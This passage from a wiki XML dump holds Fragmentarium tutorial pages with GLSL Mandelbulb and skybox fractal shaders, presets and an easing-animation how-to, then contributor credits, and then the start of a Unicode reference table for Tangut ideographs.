CamLightMin = 0.12121
Glow = 1,1,1,0.43836
GlowMax = 52
Fog = 0
HardShadow = 0.35385
ShadowSoft = 12.5806
Reflection = 0
BaseColor = 1,1,1
OrbitStrength = 0.14286
X = 1,1,1,1
Y = 0.345098,0.666667,0,0.02912
Z = 1,0.666667,0,1
R = 0.0784314,1,0.941176,-0.0194
BackgroundColor = 0.607843,0.866667,0.560784
GradientBackground = 0.3261
CycleColors = false
Cycles = 4.04901
EnableFloor = true
FloorNormal = 0,1,0
FloorHeight = -2
FloorColor = 1,1,1
Iterations = 12
ColorIterations = 8
Power = 8
Bailout = 6.279
AlternateVersion = true
RotVector = 1,1,1
RotAngle = 0
TransVector = 1,0,0
TransSpeed = 0
ImpulseStrength = 0
ImpulseRate = 0
ImpulseOffset = 0
TRotVector = 1,0,0
TRotSpeed = 0
Julia = false
JuliaC = 0,0,0
#endpreset


#preset KeyFrame.001
FOV = 0.62536
Eye = 2,0,0
Target = 1,0,0
Up = 0,1,0
#endpreset

#preset KeyFrame.002
FOV = 0.62536
Eye = 0.73087,0.0286388,1.42303
Target = 0.31975,-0.0253,0.62258
Up = 0,1,0
#endpreset

#preset KeyFrame.003
FOV = 0.62536
Eye = 0.034575,-0.00331298,1.59962
Target = 0.0,0.0,0.0
Up = -0.368,1,0
#endpreset

#preset KeyFrame.004
FOV = 0.62536
Eye = 0.034575,-0.00331298,1.59962
Target = 0.05491,-0.00217,0.99997
Up = 0.17544,1,0
#endpreset

#preset KeyFrame.005
FOV = 0.62536
Eye = 0.0244074,-0.00388447,1.89945
Target = 0.05491,-0.00217,0.99997
Up = 0,1,0
#endpreset

#preset KeyFrame.006
FOV = 0.62536
Eye = 0.0108507,-0.00464646,2.29922
Target = 0.05491,-0.00217,0.99997
Up = 0,1,0
#endpreset

#preset KeyFrame.007
FOV = 0.62536
Eye = 0.0108507,-0.00464646,2.29922
Target = 0.02745,-0.0018,0.454545
Up = 0,1,0
#endpreset

#preset KeyFrame.008
FOV = 0.62536
Eye = 0.0108507,-0.00464646,2.29922
Target = 0,0,0
Up = 0,1,0
#endpreset

#preset KeyFrame.009
FOV = 0.62536
Eye = 0.0108507,-0.00464646,2.29922
Target = 0.05491,-0.00217,0.99997
Up = 0,1,0
#endpreset

#preset KeyFrame.010
FOV = 0.62536
Eye = 0.0108507,-0.00464646,2.29922
Target = 0.05491,-0.00217,0.99997
Up = 0,1,0
#endpreset&lt;/syntaxhighlight&gt;
|}

{| class=&quot;wikitable collapsible&quot;
! 32 - Simple Multi-Parameter Easing Animation.frag
|-
| [https://github.com/3Dickulus/FragM/blob/master/Fragmentarium-Source/Examples/Tutorials/32%20-%20Simple%20Multi-Parameter%20Easing%20Animation.frag 32 - Simple Multi-Parameter Easing Animation.frag]

'''How-To create a Parameter Morph Animation'''

These settings can be saved by using &quot;Range&quot; in the preset name like &quot;#preset Range-100-200&quot;, the frame numbers have no impact on the easing curve values and are ignored, they are so the human can be reminded of what this range covers, allows for unique names like &quot;Range-fogIn&quot; &quot;Range-fogOut&quot; etc., these ranges can also be applied via fqScript eg: applyPresetByName(&quot;Range-fogIn&quot;)


These can be placed in the &quot;Default&quot; preset so that when a frag is loaded from cmdline eg:remote machine, they will be active immediately.

 Cycles1:CosineCurve:44:1:24:1:240:0.3:1:1.7:1:0
 Power1:SineCurve:43:1:6:20:220:0.3:1:1.7:1:0
 RotAngle1:OutInBack:36:0:360:40:200:0.3:1:1.7:1:0


the items on each line are used as follows...

 [Variable Name]:[Ease Name]:[Ease Type]:[start frame]:[end frame]:[begin parameter value]:[end parameter value]:[period]:[amplitude]:[overshoot]:[loops]:[pong]


yes yes a lot of silly things to remember but fortunately there's a nice little GUI for all that :)

# load tutorial 32
# Select the &quot;Mandelbulb&quot; tab
# Select the &quot;Power&quot; slider
# Push &quot;F7&quot; key (or menu item &quot;Edit-&gt;Add Easing Curve&quot;)
# Change some settings
# hit OK that is it, done!

Frames before start frame will use start value until start frame is reached.

Frames after finish frame will use finish value until end of animation is reached.

These become active when the animation is playing.

When you do this to a variable that already has a curve you will be prompted &quot;Apply&quot; &quot;Discard&quot; &quot;Cancel&quot;

&quot;Apply&quot; will change these settings for this variable (like it, keep it)

&quot;Discard&quot; will delete the settings for this variable (clean up, no animating)

&quot;Cancel&quot; does nothing

This only saves the changes internally!!! if you like the result then...

# you need to save parameters file or
# add a new preset with a new name and save the GLSL script or
# render a highres or anim to create &quot;&lt;frag-name&gt;_Files&quot;
this folder will have all of your var morph settings in a single default preset and campath keyframes

Parameter morph settings should all be in one named (not keyframe) preset.

|-
| &lt;syntaxhighlight lang=&quot;glsl&quot; line='line'&gt;#info Mandelbulb Anim Fragment
#info http://www.fractalforums.com/index.php?topic=16405.0
#define providesInit

#group Raytracer
// Sets focal plane to Target location
//uniform bool AutoFocus; checkbox[false]

#include &quot;DE-Raytracer.frag&quot;
#include &quot;MathUtils.frag&quot;

#group Mandelbulb

// Number of fractal iterations.
uniform int Iterations;  slider[0,9,100]

// Number of color iterations.
uniform int ColorIterations;  slider[0,9,100]

// Mandelbulb exponent (8 is standard)
uniform float Power; slider[0,8,16]

// Bailout radius
uniform float Bailout; slider[0,5,30]

// Alternate is slightly different, but looks more like a Mandelbrot for Power=2
uniform bool AlternateVersion; checkbox[false]

uniform vec3 RotVector; slider[(0,0,0),(1,1,1),(1,1,1)]

uniform float RotAngle; slider[0.00,0,360]

mat3 rot;
uniform float time;

void init() {
	rot = rotationMatrix3(normalize(RotVector), RotAngle);
}

// This is my power function, based on the standard spherical coordinates as defined here:
// http://en.wikipedia.org/wiki/Spherical_coordinate_system
//
// It seems to be similar to the one Quilez uses:
// http://www.iquilezles.org/www/articles/mandelbulb/mandelbulb.htm
//
// Notice the north and south poles are different here.
void powN1(inout vec3 z, float r, inout float dr) {
	// extract polar coordinates
	float theta = acos(z.z/r);
	float phi = atan(z.y,z.x);
	dr =  pow( r, Power-1.0)*Power*dr + 1.0;

	// scale and rotate the point
	float zr = pow( r,Power);
	theta = theta*Power;
	phi = phi*Power;

	// convert back to cartesian coordinates
	z = zr*vec3(sin(theta)*cos(phi), sin(phi)*sin(theta), cos(theta));
}

// This is a power function taken from the implementation by Enforcer:
// http://www.fractalforums.com/mandelbulb-implementation/realtime-renderingoptimisations/
//
// I cannot follow its derivation from spherical coordinates,
// but it does give a nice mandelbrot like object for Power=2
void powN2(inout vec3 z, float zr0, inout float dr) {
	float zo0 = asin( z.z/zr0 );
	float zi0 = atan( z.y,z.x );
	float zr = pow( zr0, Power-1.0 );
	float zo = zo0 * Power;
	float zi = zi0 * Power;
	dr = zr*dr*Power + 1.0;
	zr *= zr0;
	z  = zr*vec3( cos(zo)*cos(zi), cos(zo)*sin(zi), sin(zo) );
}


uniform bool Julia; checkbox[false]
uniform vec3 JuliaC; slider[(-2,-2,-2),(0,0,0),(2,2,2)]

// Compute the distance from `pos` to the Mandelbox.
float DE(vec3 pos) {
	vec3 z=pos;
	float r;
	float dr=1.0;
	int i=0;

	r=length(z);
	while(r&lt;Bailout &amp;&amp; (i&lt;Iterations)) {
		if (AlternateVersion) {
			powN2(z,r,dr);
		} else {
			powN1(z,r,dr);
		}
		z+=(Julia ? JuliaC : pos);
		r=length(z);
		z*=rot;
		if (i&lt;ColorIterations) orbitTrap = min(orbitTrap, abs(vec4(z.x,z.y,z.z,r*r)));
		i++;
	}

//	if ((type==1) &amp;&amp; r&lt;Bailout) return 0.0;
	return 0.5*log(r)*r/dr;
	/*
	Use this code for some nice intersections (Power=2)
	float a =  max(0.5*log(r)*r/dr, abs(pos.y));
	float b = 1000;
	if (pos.y&gt;0)  b = 0.5*log(r)*r/dr;
	return min(min(a, b),
		max(0.5*log(r)*r/dr, abs(pos.z)));
	*/
}

float dummy(vec3 p){
p*=time;
return time;
}

#preset Default
FOV = 0.62536
Eye = 2.42106,0.501576,0.263686
Target = -6.2468,-0.836125,-0.622262
Up = 0,1,0
EquiRectangular = false
AutoFocus = false
FocalPlane = 1
Aperture = 0
Gamma = 2.08335
ToneMapping = 3
Exposure = 0.6522
Brightness = 1
Contrast = 1
Saturation = 1
GaussianWeight = 1
AntiAliasScale = 2
Detail = -2.84956
DetailAO = -1.35716
FudgeFactor = 1
MaxRaySteps = 164
BoundingSphere = 10
Dither = 0.51754
NormalBackStep = 1
AO = 0,0,0,0.85185
Specular = 1.6456
SpecularExp = 16.364
SpecularMax = 10
SpotLight = 1,1,1,1
SpotLightDir = 0.22666,0.5
CamLight = 1,1,1,1.53846
CamLightMin = 0.12121
Glow = 1,1,1,0.43836
GlowMax = 52
Fog = 0
HardShadow = 0.35385
ShadowSoft = 12.5806
Reflection = 0
BaseColor = 1,1,1
OrbitStrength = 1
X = 1,1,1,1
Y = 0.345098,0.666667,0,0.02912
Z = 1,0.666667,0,1
R = 0.0784314,1,0.941176,-0.0194
BackgroundColor = 0.607843,0.866667,0.560784
GradientBackground = 0.3261
CycleColors = true
Cycles1:CosineCurve:44:1:24:1:240:0.3:1:1.7:1:0
Cycles = 12.4928
EnableFloor = true
FloorNormal = 0,1,0
FloorHeight = -2
FloorColor = 1,1,1
Iterations = 12
ColorIterations = 8
Power1:SineCurve:43:1:6:20:220:0.3:1:1.7:1:0
Power = 1
Bailout = 6.279
AlternateVersion = true
RotVector = 1,1,1
RotAngle1:OutInBack:36:0:360:40:200:0.3:1:1.7:1:0
RotAngle = 0.0
Julia = false
JuliaC = 0,0,0
#endpreset

#preset KeyFrame.001
FOV = 0.62536
Eye = 2.42106,0.501576,0.263686
Target = -6.2468,-0.836125,-0.622262
Up = 0,1,0
#endpreset

#preset KeyFrame.002
FOV = 0.62536
Eye = 2.42106,0.501576,0.263686
Target = -6.2468,-0.836125,-0.622262
Up = 0,1,0
#endpreset&lt;/syntaxhighlight&gt;
|}

{| class=&quot;wikitable collapsible&quot;
! 33 - Simple Skybox.frag
|-
| [https://github.com/3Dickulus/FragM/blob/master/Fragmentarium-Source/Examples/Tutorials/33%20-%20Simple%20Skybox.frag 33 - Simple Skybox.frag]
|-
| &lt;syntaxhighlight lang=&quot;glsl&quot; line='line'&gt;#info Mandelbulb Distance Estimator
#define providesInit

#define providesBackground
#define  providesColor

#include &quot;MathUtils.frag&quot;
#include &quot;DE-Raytracer.frag&quot;

#group Skybox
uniform samplerCube skybox; file[cubemap.png]
vec3  backgroundColor(vec3 dir) {
float t = length(from-dir);
dir *= -1.;
    return mix(textureCube(skybox, dir.xzy).rgb, BackgroundColor, 1.0-exp(-pow(Fog,4.0)*t*t));
}

uniform float RefractiveIndex; slider[0,1,10]
vec3 baseColor(vec3 point, vec3 N){
    float ratio = 1.00 / RefractiveIndex;
    vec3 I = (point - from);
    vec3 R = refract(I, -N, ratio);
    return textureCube(skybox, R.xzy).rgb;
}

#group Mandelbulb

// Number of fractal iterations.
uniform int Iterations;  slider[0,9,100]

// Number of color iterations.
uniform int ColorIterations;  slider[0,9,100]

// Mandelbulb exponent (8 is standard)
uniform float Power; slider[0,8,16]

// Bailout radius
uniform float Bailout; slider[0,5,30]
// mermelada's tweak Derivative bias
uniform float DerivativeBias; slider[0,1,10]

// Alternate is slightly different, but looks more like a Mandelbrot for Power=2
uniform bool AlternateVersion; checkbox[false]

uniform vec3 RotVector; slider[(0,0,0),(1,1,1),(1,1,1)]

uniform float RotAngle; slider[0.00,0,180]

uniform bool Julia; checkbox[false]
uniform vec3 JuliaC; slider[(-2,-2,-2),(0,0,0),(2,2,2)]

uniform float time;
mat3 rot;
void init() {
	 rot = rotationMatrix3(normalize(RotVector), RotAngle);
}

// This is my power function, based on the standard spherical coordinates as defined here:
// http://en.wikipedia.org/wiki/Spherical_coordinate_system
//
// It seems to be similar to the one Quilez uses:
// http://www.iquilezles.org/www/articles/mandelbulb/mandelbulb.htm
//
// Notice the north and south poles are different here.
void powN1(inout vec3 z, float r, inout float dr) {
	// extract polar coordinates
	float theta = acos(z.z/r);
	float phi = atan(z.y,z.x);
   // mermelada's tweak
   // http://www.fractalforums.com/new-theories-and-research/error-estimation-of-distance-estimators/msg102670/?topicseen#msg102670
	dr =  max(dr*DerivativeBias,pow( r, Power-1.0)*Power*dr + 1.0);
	// scale and rotate the point
	float zr = pow( r,Power);
	theta = theta*Power;
	phi = phi*Power;

	// convert back to cartesian coordinates
	z = zr*vec3(sin(theta)*cos(phi), sin(phi)*sin(theta), cos(theta));
}

// This is a power function taken from the implementation by Enforcer:
// http://www.fractalforums.com/mandelbulb-implementation/realtime-renderingoptimisations/
//
// I cannot follow its derivation from spherical coordinates,
// but it does give a nice mandelbrot like object for Power=2
void powN2(inout vec3 z, float zr0, inout float dr) {
	float zo0 = asin( z.z/zr0 );
	float zi0 = atan( z.y,z.x );
	float zr = pow( zr0, Power-1.0 );
	float zo = zo0 * Power;
	float zi = zi0 * Power;
   // mermelada's tweak
   // http://www.fractalforums.com/new-theories-and-research/error-estimation-of-distance-estimators/msg102670/?topicseen#msg102670
	dr = max(dr*DerivativeBias,zr*dr*Power + 1.0);

	zr *= zr0;
	z  = zr*vec3( cos(zo)*cos(zi), cos(zo)*sin(zi), sin(zo) );
}


// Compute the distance from `pos` to the Mandelbox.
float DE(vec3 pos) {
	vec3 z=pos;
	float r;
	float dr=1.0;
	int i=0;
	r=length(z);
	while(r&lt;Bailout &amp;&amp; (i&lt;Iterations)) {
		if (AlternateVersion) {
			powN2(z,r,dr);
		} else {
			powN1(z,r,dr);
		}
		z+=(Julia ? JuliaC : pos);
		r=length(z);
		z*=rot;
		if (i&lt;ColorIterations) orbitTrap = min(orbitTrap, abs(vec4(z.x,z.y,z.z,r*r)));
		i++;
	}
//	if ((type==1) &amp;&amp; r&lt;Bailout) return 0.0;
	return 0.5*log(r)*r/dr;
	/*
	Use this code for some nice intersections (Power=2)
	float a =  max(0.5*log(r)*r/dr, abs(pos.y));
	float b = 1000;
	if (pos.y&gt;0)  b = 0.5*log(r)*r/dr;
	return min(min(a, b),
		max(0.5*log(r)*r/dr, abs(pos.z)));
	*/
}

#preset Default
FOV = 0.62536
Eye = 1.578295,-2.374888,-0.1754925
Target = -2.237496,5.621949,-0.038792
Up = 0.0250519,0.0290368,-0.9993381
EquiRectangular = false
AutoFocus = false
FocalPlane = 1
Aperture = 0
Gamma = 2.08335
ToneMapping = 3
Exposure = 0.6522
Brightness = 1
Contrast = 1
Saturation = 1
GaussianWeight = 1
AntiAliasScale = 2
DepthToAlpha = false
ShowDepth = false
DepthMagnitude = 1
Detail = -2.84956
DetailAO = -1.35716
FudgeFactor = 1
MaxDistance = 1000
MaxRaySteps = 164
Dither = 0.51754
NormalBackStep = 1
AO = 0,0,0,0.85185
Specular = 0.336
SpecularExp = 16.364
SpecularMax = 10
SpotLight = 1,1,1,1
SpotLightDir = 0.7,-0.42
CamLight = 1,1,1,1.53846
CamLightMin = 0.12121
Glow = 1,1,1,0.43836
GlowMax = 52
Fog = 0
HardShadow = 0.35385
ShadowSoft = 12.5806
QualityShadows = false
Reflection = 0
DebugSun = false
BaseColor = 1,1,1
OrbitStrength = 0
X = 1,1,1,1
Y = 0.345098,0.666667,0,0.02912
Z = 1,0.666667,0,1
R = 0.0784314,1,0.941176,-0.0194
BackgroundColor = 0.607843,0.866667,0.560784
GradientBackground = 0.9701493
CycleColors = false
Cycles = 4.04901
EnableFloor = false
FloorNormal = 0,0,-1
FloorHeight = -3.095238
FloorColor = 1,1,1
Iterations = 12
ColorIterations = 8
Power = 8
Bailout = 6.279
AlternateVersion = true
RotVector = 1,1,1
RotAngle = 0
Julia = false
JuliaC = 0,0,0
skybox = cubemap.png
RefractiveIndex = 5.604396
DerivativeBias = 1
#endpreset

#preset Octobulb
FOV = 0.62536
Eye = -0.184126,0.843469,1.32991
Target = 1.48674,-5.55709,-4.56665
Up = 0,1,0
AntiAlias = 1
Detail = -2.47786
DetailAO = -0.21074
FudgeFactor = 1
MaxRaySteps = 164
BoundingSphere = 2
Dither = 0.5
AO = 0,0,0,0.7
Specular = 1
SpecularExp = 27.082
SpotLight = 1,1,1,0.94565
SpotLightDir = 0.5619,0.18096
CamLight = 1,1,1,0.23656
CamLightMin = 0.15151
Glow = 0.415686,1,0.101961,0.18421
Fog = 0.60402
HardShadow = 0.7230800
Reflection = 0.0
BaseColor = 1,1,1
OrbitStrength = 0.62376
X = 0.411765,0.6,0.560784,-0.37008
Y = 0.666667,0.666667,0.498039,0.86886
Z = 0.666667,0.333333,1,-0.25984
R = 0.4,0.7,1,0.36508
BackgroundColor = 0.666667,0.666667,0.498039
GradientBackground = 0.5
CycleColors = true
Cycles = 7.03524
FloorNormal = 0,0,0
FloorHeight = 0
FloorColor = 1,1,1
Iterations = 14
ColorIterations = 6
Power = 8.18304
Bailout = 6.279
AlternateVersion = true
RotVector = 1,0,0
RotAngle = 77.8374
#endpreset


#preset Refraction
FOV = 0.807947
Eye = 1.49337,-0.0604384,-1.459009
Target = -4.526366,-0.2098799,5.042469
Up = -0.02031,0.9980528,0.0041359
EquiRectangular = false
AutoFocus = false
FocalPlane = 1
Aperture = 0
Gamma = 2
ToneMapping = 5
Exposure = 1
Brightness = 1
Contrast = 1
Saturation = 1
GaussianWeight = 1
AntiAliasScale = 2
DepthToAlpha = false
ShowDepth = false
DepthMagnitude = 1
Detail = -3.601449
DetailAO = -1.35716
FudgeFactor = 1
MaxDistance = 1000
MaxRaySteps = 1185
Dither = 0.51754
NormalBackStep = 1
AO = 0,0,0,0
Specular = 0
SpecularExp = 0
SpecularMax = 0
SpotLight = 1,1,1,1
SpotLightDir = 0.63626,0.5
CamLight = 1,1,1,1.53846
CamLightMin = 0.12121
Glow = 1,1,1,1
GlowMax = 1000
Fog = 0
HardShadow = 0.35385
ShadowSoft = 12.5806
QualityShadows = false
Reflection = 0
DebugSun = false
BaseColor = 1,1,1
OrbitStrength = 1
X = 1,1,1,1
Y = 0.345098,0.666667,0,0.02912
Z = 1,0.666667,0,1
R = 0.0784314,1,0.941176,-0.0194
BackgroundColor = 0.607843,0.866667,0.560784
GradientBackground = 0.3261
CycleColors = false
Cycles = 4.04901
EnableFloor = false
FloorNormal = 0,0,0
FloorHeight = 0
FloorColor = 1,1,1
Iterations = 0
ColorIterations = 10
Power = 8
Bailout = 6.279
DerivativeBias = 1
AlternateVersion = false
RotVector = 1,1,1
RotAngle = 0
Julia = false
JuliaC = 1,1,1
skybox = cubemap.png
RefractiveIndex = 1.52
#endpreset

#preset Reflection
FOV = 1
Eye = 2.193986,2.218407,0.2322807
Target = -5.850334,-1.498805,0.2174372
Up = -0.0086972,0.021624,-0.7018754
EquiRectangular = false
AutoFocus = false
FocalPlane = 1
Aperture = 0
Gamma = 2
ToneMapping = 5
Exposure = 0.6522
Brightness = 1
Contrast = 1
Saturation = 1
GaussianWeight = 1
AntiAliasScale = 2
DepthToAlpha = false
ShowDepth = false
DepthMagnitude = 1
Detail = -1.318841
DetailAO = -1.35716
FudgeFactor = 1
MaxDistance = 1000
MaxRaySteps = 164
Dither = 0.51754
NormalBackStep = 1
AO = 0,0,0,0.85185
Specular = 1
SpecularExp = 16.364
SpecularMax = 10
SpotLight = 1,1,1,1
SpotLightDir = 0.7,-0.42
CamLight = 1,1,1,1.53846
CamLightMin = 0.12121
Glow = 1,1,1,0.43836
GlowMax = 52
Fog = 0
HardShadow = 0.35385
ShadowSoft = 12.5806
QualityShadows = false
Reflection = 1
DebugSun = false
BaseColor = 1,1,1
OrbitStrength = 0.14286
X = 1,1,1,1
Y = 0.345098,0.666667,0,0.02912
Z = 1,0.666667,0,1
R = 0.0784314,1,0.941176,-0.0194
BackgroundColor = 0.607843,0.866667,0.560784
GradientBackground = 0.3261
CycleColors = false
Cycles = 4.04901
EnableFloor = false
FloorNormal = 0,0,0
FloorHeight = 0
FloorColor = 1,1,1
Iterations = 0
ColorIterations = 8
Power = 8
Bailout = 6.279
AlternateVersion = true
RotVector = 1,1,1
RotAngle = 0
Julia = true
JuliaC = 0,0,0
skybox = cubemap.png
RefractiveIndex = 1.52
DerivativeBias = 0
#endpreset&lt;/syntaxhighlight&gt;
|}

=Acknowledgements=

Much of the inspiration and formulas for Fragmentarium came from the community at FractalForums.com, including Tom Beddard, Jan Kadlec, Iñigo Quilez, Buddhi, Jesse, and others. Special thanks goes out to Knighty and Kali for their great fragments. All fragments should include information about their origins - please notify me, if I made any mis-attributions.

The icons used are part of the Everaldo: Crystal project. 

Fragmentarium is built using the Qt cross-platform GUI framework. 

Translations by Fractal Forums users:
* Russian SCORPION
* Russian Crist-JRoger
* German Sabine
* Dutch Sabine

Contributors, This means allmost everyone at FractalForums.com over the last 7 years? This list is not complete.
# 3Dickulus
# Adam Majewski
# bermarte
# Buddhi
# cKleinhuis
# Claude
# Crist-JRodger
# DarkBeam
# Eiffie
# Íñigo Quílez
# Jesse
# Kali
# Knighty
# M Benesi
# mclarekin
# Patryk Kizny
# Stefan Gustavson
# Sabine
# SCORPION
# Syntopia
# SubBlue
# tglad
# Tryptophan
# Vinz
# _revers_

 ...just to name a few, if anyone can add to this list it would be a great help. If you contributed an idea or fix to the GUI or source code then I think your user/name deserves mention here too.

=Other Docs=
*official pages : 
** home page &lt;ref&gt;[https://syntopia.github.io/Fragmentarium/index.html Fragmentarium home page]&lt;/ref&gt;
** github Syntopia page &lt;ref&gt;[https://github.com/Syntopia/Fragmentarium github page]&lt;/ref&gt;
** blog &lt;ref&gt;[http://blog.hvidtfeldts.net/index.php/category/fragmentarium/ Fragmentarium blog]&lt;/ref&gt;
** faq &lt;ref&gt;[http://blog.hvidtfeldts.net/index.php/2011/12/fragmentarium-faq/ Fragmentarium official FAQ]&lt;/ref&gt;
** FragM wiki&lt;ref&gt;[https://github.com/3Dickulus/FragM/wiki 3Dickulus: FragM wiki on github]&lt;/ref&gt; 
*Fractalforums : 
** program page &lt;ref&gt;[http://www.fractalforums.com/fragmentarium-b210/ Fractal Forums page]&lt;/ref&gt;
** programming page&lt;ref&gt;[http://www.fractalforums.com/fragmentarium/a-fragment-for-fragmenting-into-fragments-in-fragmentarium- programming page]&lt;/ref&gt;
** gallery &lt;ref&gt;[http://www.fractalforums.com/fragmentarium-gallery/ FF gallery]&lt;/ref&gt;
* flicker group &lt;ref&gt;[https://www.flickr.com/groups/fragmentarium/ flicker group]&lt;/ref&gt;
* deviantart 
** search &lt;ref&gt;[http://www.deviantart.com/browse/all/?section=&amp;global=1&amp;q=fragmentarium deviantart search]&lt;/ref&gt;
** Fragmentarium group&lt;ref&gt;[http://fragmentarium.deviantart.com/  Fragmentarium deviantart group]&lt;/ref&gt;
* commons : [[:commons:Category:Fragmentarium|Category:Fragmentarium]]
* git forks
** [https://github.com/claudeha/Fragmentarium github by Claude : Fragmentarium]

=References=
&lt;references/&gt;
{{BookCat}}

[[{{BOOKCATEGORY|OpenGL Programming}}|{{BOOKSORTKEY}}]]</text>
      <sha1>pb7s4olfn82rngvfzjzofwfjm0dhfss</sha1>
    </revision>
  </page>
  <page>
    <title>Unicode/Character reference/18000-18FFF</title>
    <ns>0</ns>
    <id>372369</id>
    <revision>
      <id>4670516</id>
      <parentid>4665037</parentid>
      <timestamp>2026-09-17T00:31:41Z</timestamp>
      <contributor>
        <username>~2026-50318-97</username>
        <id>3626120</id>
      </contributor>
      <comment>Adding another row of Jurchen characters now that 18.0 is officially out</comment>
      <origin>4670516</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="246988" sha1="ayu0xy8ewnix9gvxdl063f8vby3dbr0" xml:space="preserve">{{:Unicode/Character reference}}

{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse:collapse;&quot;
|-
| colspan=&quot;17&quot; style=&quot;background:#f8f8f8;{{text default color}};text-align:center&quot; | '''Tangut (ctd.)'''
|----- style=&quot;background:#ccccff;{{text default color}};&quot;
!style=&quot;width:4%&quot;|U+!!style=&quot;width:6%&quot;|0!!style=&quot;width:6%&quot;|1!!style=&quot;width:6%&quot;|2!!style=&quot;width:6%&quot;|3!!style=&quot;width:6%&quot;|4!!style=&quot;width:6%&quot;|5!!style=&quot;width:6%&quot;|6!!style=&quot;width:6%&quot;|7!!style=&quot;width:6%&quot;|8!!style=&quot;width:6%&quot;|9!!style=&quot;width:6%&quot;|A!!style=&quot;width:6%&quot;|B!!style=&quot;width:6%&quot;|C!!style=&quot;width:6%&quot;|D!!style=&quot;width:6%&quot;|E!!style=&quot;width:6%&quot;|F
|----- style=&quot;text-align:center;background:#9c8dff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|1800x
|{{H:title|dotted=no|TANGUT IDEOGRAPH-18000|&amp;#x18000;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18001|&amp;#x18001;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18002|&amp;#x18002;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18003|&amp;#x18003;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18004|&amp;#x18004;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18005|&amp;#x18005;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18006|&amp;#x18006;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18007|&amp;#x18007;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18008|&amp;#x18008;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18009|&amp;#x18009;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1800A|&amp;#x1800a;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1800B|&amp;#x1800b;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1800C|&amp;#x1800c;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1800D|&amp;#x1800d;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1800E|&amp;#x1800e;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1800F|&amp;#x1800f;}}
|----- style=&quot;text-align:center;background:#9c8dff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|1801x
|{{H:title|dotted=no|TANGUT IDEOGRAPH-18010|&amp;#x18010;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18011|&amp;#x18011;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18012|&amp;#x18012;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18013|&amp;#x18013;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18014|&amp;#x18014;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18015|&amp;#x18015;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18016|&amp;#x18016;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18017|&amp;#x18017;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18018|&amp;#x18018;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18019|&amp;#x18019;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1801A|&amp;#x1801a;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1801B|&amp;#x1801b;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1801C|&amp;#x1801c;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1801D|&amp;#x1801d;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1801E|&amp;#x1801e;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1801F|&amp;#x1801f;}}
|----- style=&quot;text-align:center;background:#9c8dff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|1802x
|{{H:title|dotted=no|TANGUT IDEOGRAPH-18020|&amp;#x18020;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18021|&amp;#x18021;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18022|&amp;#x18022;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18023|&amp;#x18023;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18024|&amp;#x18024;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18025|&amp;#x18025;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18026|&amp;#x18026;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18027|&amp;#x18027;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18028|&amp;#x18028;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-18029|&amp;#x18029;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1802A|&amp;#x1802a;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1802B|&amp;#x1802b;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1802C|&amp;#x1802c;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1802D|&amp;#x1802d;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1802E|&amp;#x1802e;}}||{{H:title|dotted=no|TANGUT IDEOGRAPH-1802F|&amp;#x1802f;}}
|----- style=&quot;text-align:center;background:#9c8dff;{{text default color}};&quot;
!style=&quot;background:#ffffff;{{text default color}};&quot;|1803x
